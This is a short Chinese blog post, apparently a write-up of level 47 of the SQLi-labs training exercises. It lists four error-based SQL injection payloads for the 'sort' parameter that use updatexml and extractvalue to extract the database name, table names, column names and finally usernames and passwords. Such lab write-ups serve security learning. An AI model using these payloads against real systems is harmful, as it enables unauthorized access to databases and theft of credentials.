码迷,mamicode.com
首页 > 其他好文 > 详细

Less(47)

时间:2020-03-14 15:02:45      阅读:48      评论:0      收藏:0      [点我收藏+]

标签:mamicode   for   alt   orm   mic   format   referer   vat   password   

1.参看Less(46),闭合为单引号

2.爆破:

  (1)爆库:?sort=1‘ and(updatexml(1,concat(0x7e,(select database())),0)) --+

    技术图片

  (2)爆表:?sort=1‘ and(updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="security" and table_name not in(‘emails‘,‘referers‘))),0)) --+

    技术图片

  (3)爆列名:?sort=1‘ and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users‘ and column_name not in(‘first_name‘,‘last_name‘,‘user_id‘,‘last_login‘,‘avatar‘,‘failed_login‘,‘user‘))),0)) --+

    技术图片

  (4)爆值:?sort=1‘ and (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) --+

    技术图片

 

Less(47)

标签:mamicode   for   alt   orm   mic   format   referer   vat   password   

原文地址:https://www.cnblogs.com/meng-yu37/p/12491884.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!